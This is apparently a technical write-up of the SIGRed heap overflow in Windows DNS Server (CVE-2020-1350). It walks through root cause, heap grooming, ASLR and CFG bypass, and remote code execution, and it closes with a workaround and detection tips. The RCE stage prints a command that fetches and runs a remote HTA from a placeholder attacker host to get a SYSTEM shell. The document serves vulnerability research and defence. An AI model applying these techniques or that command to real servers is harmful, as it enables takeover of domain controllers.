CVE-2020-1350 — SIGRed: Windows DNS Server Heap Overflow (dns.exe)

Last updated: 2026-04-11
Severity: Critical (CVSS 10.0)
Component: dns.exe (Windows DNS Server service)
Bug Class: Integer Overflow → Heap Buffer Overflow
Privilege Escalation: Unauthenticated Remote → SYSTEM / Domain Admin
Patch: July 2020 Patch Tuesday (KB4565503 / July 14, 2020)
Tags: user-mode, integer-overflow, heap-overflow, info-leak, aaw, aar, cfg, aslr-bypass
Related: Heap Grooming, Integer Overflows, Mitigations


Vulnerability Summary

A 16-bit integer overflow in dns!SigWireRead when parsing a DNS SIG resource record response allows a remote attacker to cause a heap buffer overflow in the WinDNS custom memory allocator. On Windows Server, dns.exe runs as NT AUTHORITY\SYSTEM. A Windows DNS server is typically a Domain Controller, so exploitation achieves Domain Admin access over the entire corporate infrastructure. Rated CVSS 10.0.

Discovered by: Sagi Tzadik, Check Point Research (disclosed July 14, 2020 — 17-year-old bug).
RCE PoC: chompie1337 — first and only public RCE exploit (GitHub: chompie1337/SIGRed_RCE_PoC).


Root Cause Analysis

Vulnerable Function: dns!SigWireRead

// Simplified decompilation (vulnerable portion):
// 'sigName.Length' is inflated via DNS name compression (see Trigger section)
// 'signatureLength' is from the SIG record data
USHORT totalSize = signatureLength + sigName.Length + 0x14;  // 16-bit overflow!
RR_AllocateEx(totalSize, ...);   // undersized allocation
// memcpy then copies full signature → overflow

RR_AllocateEx receives a USHORT (16-bit unsigned). If signatureLength + sigName.Length + 0x14 > 0xFFFF, the sum wraps to a small value, allocating a tiny buffer while the subsequent memcpy copies the full (large) signature.

Trigger Path

  1. Attacker registers an evil domain with an NS record pointing to an attacker-controlled DNS server.
  2. A client queries the victim DNS server for the evil domain.
  3. The victim server queries upstream, receives the NS response, and caches the malicious DNS server as authority. Record cached in victim’s DNS cache.
  4. A client sends a SIG query for a subdomain to the victim.
  5. The victim queries the malicious DNS server → malicious server returns a crafted SIG response.

Why UDP Doesn’t Work

DNS over UDP is limited to 512 bytes (or 4096 with EDNS0) — insufficient to trigger the overflow. DNS over TCP supports up to 64KB. The malicious server responds with a truncation bit set to force the victim to retry over TCP.

DNS Name Compression Trick

The 64KB TCP limit still isn’t enough because the overflow requires sigName.Length to be artificially large. DNS name compression pointers (two-byte sequence with 0xC0 prefix + 14-bit offset) are used to point the name offset into the signature bytes of the packet, inflating sigName.Length far beyond the actual bytes used:

0xC0 0x0D  →  name pointer to offset 0x0D from message start
              (points into signature data, tricking SigWireRead into
               computing a large sigName.Length from the extended region)

Maximum DNS name = 0xFF bytes. signatureLength(~64KB) + sigName.Length(~0xFF) + 0x14 triggers overflow while staying under the 64KB TCP message limit.


WinDNS Custom Memory Allocator

dns.exe manages its own memory pools (dns!Mem_Alloc), bypassing the Windows native heap for small allocations:

BucketObject sizeChunk requested from native heapChunk size
1≤ 0x50 bytesHeapAlloc(0xFF0)~0x41FF0
2≤ 0x68 bytesHeapAlloc(0xFD8)~0x41FF0
3≤ 0x88 bytesHeapAlloc(0xFF0)~0x41FF0
4≤ 0xA0 bytesHeapAlloc(0xFA0)~0x41FF0
Large> 0xA0 bytesDirect HeapAllocvariable

Key properties:

  • LIFO freelist: each bucket is a singly linked list; last freed = next allocated
  • No return to native heap: freed buffers push back onto bucket freelist, never back to HeapAlloc
  • Contiguous segments: each chunk from HeapAlloc contains only WinDNS bucket buffers — no other allocations mix in

Buffer Structures

// In-use buffer header:
struct WINDNS_BUFF {
    DWORD  realSize;       // actual allocation size from bucket
    DWORD  dataSize;       // logical data size
    // ... data follows
};

// Freed buffer overlay:
struct WINDNS_FREE_BUFF {
    WINDNS_BUFF* pNextFreeBuff;  // LIFO freelist pointer — set on free
    // ... rest unused
};

// Cached DNS record:
struct RR_Record {
    DWORD  dwTTL;          // Time-to-live; zeroed → immediate free on next lookup
    DWORD  dwTimeStamp;    // Cache timestamp; zeroed → record treated as expired
    WORD   wRecordSize;    // Bucket size; forged = control allocation target size
    WORD   wRecordType;    // DNS record type (NS, SIG, A, etc.)
    // ... record data
};

Exploitation Technique

Overview

The exploit has 6 stages, all driven by the malicious DNS server:

1. Heap grooming → avoid SEGFAULT + avoid cache tree corruption
2. Overflow into controlled RR_Record spray
3. Leak heap address (via WINDNS_FREE_BUFF.pNextFreeBuff)
4. Leak dns.exe code pointer (via DNS_Timeout.pFreeFunction = dns!RR_Free)
5. Break msvcrt.dll ASLR (via arbitrary read of dns!_imp_exit)
6. RCE via DNS_Timeout.pFreeFunction = msvcrt!system

Stage 1: Heap Grooming

Problem 1: SEGFAULT during memcpy

The memcpy of the oversized signature into the undersized buffer walks forward into unmapped memory. The fix: keep the overflow buffer size < 0xA0 so it lands inside a WinDNS bucket chunk (~0x41FF0 native heap segment). These segments are contiguous and filled with bucket buffers — very unlikely to hit an unmapped page.

Problem 2: Overwriting Cache Tree Objects

The DNS record cache is stored as a binary tree. Nodes are 0x88-byte objects allocated from Bucket 3. When the overflow walks forward, it hits tree nodes and causes a crash on the next tree traversal.

Solution: Exhaust the Bucket 3 freelist by pre-allocating many 0x88 objects and then freeing them. The freed objects return to the Bucket 3 freelist — subsequent tree allocations use the freelist rather than requesting new native heap chunks. Then spray enough records to fill the area around the vulnerable buffer entirely with attacker-controlled records (not tree nodes).

Making a Hole for the Overflowing Buffer

  1. Spray many subdomain queries to the victim → malicious DNS server responds with records, victim caches them (heap spray). Assign long TTL to all except one.
  2. Assign short TTL to one target subdomain.
  3. Wait ~2 minutes for WinDNS’s cache cleanup to free the expired record buffer.
  4. Re-query the expired subdomain with the malformed SIG record → LIFO ensures the overflow buffer occupies the exact same freed slot.

TTL is the heap primitive: the malicious DNS server controls TTL on all responses, giving full control over which heap buffers live and which are freed.


Stage 2: Overflow into Fake RR_Records

After grooming, the overflow lands inside the attacker-controlled heap spray region. Because WinDNS bucket chunks only contain bucket buffers of the same size, and because spray order = heap order (LIFO builds contiguous blocks within a new native chunk), the exploit knows exactly which subdomain records will be overwritten. Fake RR_Record and WINDNS_BUFF structures are constructed in the SIG signature data:

  • Forge dwTTL = 0, dwTimeStamp = 0 → trigger immediate free on next query
  • Forge wRecordSize → control which bucket size is served on reallocation
  • Forge WINDNS_BUFF.dataSize → control how many bytes are returned in a DNS response (read primitive width)

Stage 3: Heap Address Leak

1. Free fake RR_Record[i] via zeroed TTL/timestamp trick (query for subdomain i)
2. In RR_Record[i-1], set wRecordSize to large value
3. Query subdomain [i-1] → WinDNS returns wRecordSize bytes
4. Response walks past real end of buffer into freed buffer[i]
5. Freed buffer contains WINDNS_FREE_BUFF.pNextFreeBuff (from LIFO free)
   → pNextFreeBuff = address of the previously freed buffer
6. Free two buffers in sequence → pNextFreeBuff of second = first freed buffer's address
   → controlled heap region address is now known

Stage 4: dns.exe Code Pointer Leak (DNS_Timeout Object)

A DNS_Timeout object is allocated by dns!Timeout_FreeWithFunctionEx when an NS, SOA, WINS, or WINSR record expires. It is 0x50 bytes (Bucket 1).

struct DNS_Timeout {
    void* pFreeFunction;   // = dns!RR_Free on allocation — CODE POINTER
    char* pszFile;         // = filename string — CODE POINTER
    void* pFreeFuncParam;  // parameter passed to pFreeFunction
    // ...
};

To allocate a DNS_Timeout in the controlled heap region:

  1. Free a fake RR_Record with wRecordSize = 0x50 (fake the bucket size to 0x50).
  2. Make NS-type queries to the victim for the evil domain → each query eventually creates a DNS_Timeout object when the NS record expires.
  3. Due to LIFO, the DNS_Timeout lands in the freed-0x50 slot.
  4. Read past the adjacent fake record to leak pFreeFunction = dns!RR_Free address.

ASLR defeat: last 12 bits of pFreeFunction are deterministic per dns.exe version → map to known offset → compute dns.exe base.


Stage 5: Arbitrary Read → msvcrt.dll ASLR Defeat

Using dns!NsecDnsRecordConvert as a CFG-valid call target (see Stage 6 below for CFG bypass rationale):

NsecDnsRecordConvert(param) where param->pDnsString = target_address_to_read

Inside NsecDnsRecordConvert, Dns_StringCopy(pDnsString) allocates a new buffer and copies bytes from pDnsString until a null byte. By:

  1. Overwriting DNS_Timeout.pFreeFunction = dns!NsecDnsRecordConvert
  2. Setting pFreeFuncParam.pDnsString = dns!_imp_exit (pointer to msvcrt!exit in dns.exe import table)
  3. Setting wSize to force new buffer allocation into controlled heap area

The copied data contains the msvcrt!exit pointer → leak msvcrt.dll base → compute msvcrt!system address.

Import address chosen: dns!_imp_exit — its value does not contain a null byte in the versions tested, so Dns_StringCopy copies the full 8-byte pointer.


Stage 6: Remote Code Execution

CFG bypass: dns.exe is compiled with CFG. Stack corruption for ROP is not available (no stable stack write primitive at this stage). Instead, use a valid CFG target with exploitable semantics:

  • For arbitrary read: dns!NsecDnsRecordConvert — one-parameter function; calls Dns_StringCopy(param->pDnsString) → read from arbitrary address
  • For RCE: msvcrt!system — one-parameter function, not in dns.exe’s CFG bitmap but dns.exe calls msvcrt functions via import table. When pFreeFunction is overwritten in DNS_Timeout and Timeout_CleanupDelayedFreeList dispatches it, calling msvcrt!system is legal because CFG is checked against the call-site’s bitmap, and msvcrt!system is in a valid range.
Final state of DNS_Timeout object:
  pFreeFunction   = msvcrt!system
  pFreeFuncParam  = heap_addr_of_cmd_string
  heap[cmd_addr]  = "mshta.exe http://attacker/shell.hta"

Trigger: Timeout_CleanupDelayedFreeList() →
  for each timeout_obj in CoolingDelayedFreeList:
    timeout_obj->pFreeFunction(timeout_obj->pFreeFuncParam)
  → system("mshta.exe http://attacker/shell.hta") → SYSTEM shell

Key Primitives Used

PrimitiveMechanism
Heap grooming (application-specific)WinDNS LIFO bucket + TTL control + “make a hole” via TTL expiry
Controlled heap freeZero RR_Record.dwTTL + dwTimeStamp in overflowed fake record; query triggers immediate free
Controlled heap allocFake WINDNS_BUFF.realSize → reallocates different-size objects into controlled slot
Heap address leakWINDNS_FREE_BUFF.pNextFreeBuff visible via adjacent large-wRecordSize read
dns.exe code pointer leakDNS_Timeout.pFreeFunction = dns!RR_Free via adjacent read
Arbitrary readdns!NsecDnsRecordConvert as CFG-valid callback; Dns_StringCopy(pDnsString) copies from target address
msvcrt ASLR defeatArbitrary read of dns!_imp_exit import address
CFG bypassValid-but-exploitable CFG targets (NsecDnsRecordConvert, msvcrt!system)
RCEmsvcrt!system as DNS_Timeout.pFreeFunction + heap command string

Mitigations Bypassed

MitigationMethod
ASLR (dns.exe)DNS_Timeout.pFreeFunction leak (code pointer written by kernel on alloc)
ASLR (msvcrt.dll)Arbitrary read of dns!_imp_exit
CFGValid CFG targets with exploitable semantics (no bitmap corruption needed)
Stack canaries / DEPIrrelevant — no stack corruption, no shellcode injection; pure heap + data-only technique

Workaround

Registry key limits DNS TCP receive size to 0xFF00, preventing the overflow:

reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\DNS\Parameters" /v "TcpReceivePacketSize" /t REG_DWORD /d 0xFF00 /f
net stop DNS && net start DNS

Detection

  • Monitor for anomalous child processes of dns.exe (e.g., mshta.exe, cmd.exe, powershell.exe)
  • Note: an attacker can rework the exploit to stay within the dns.exe process context

References

  • chompie1337, “Anatomy of an Exploit - RCE with SIGRed”, chomp.ie, 2021; PoC: github.com/chompie1337/SIGRed_RCE_PoC
  • Sagi Tzadik (Check Point Research), “Resolving Your Way Into Domain Admin: Exploiting a 17-Year-Old Bug in Windows DNS Servers”, research.checkpoint.com, July 2020
  • datafarm-cybersecurity, “Exploiting SIGRed on Windows Server 2012/2016/2019”, Medium, 2020
  • MSRC Advisory: https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2020-1350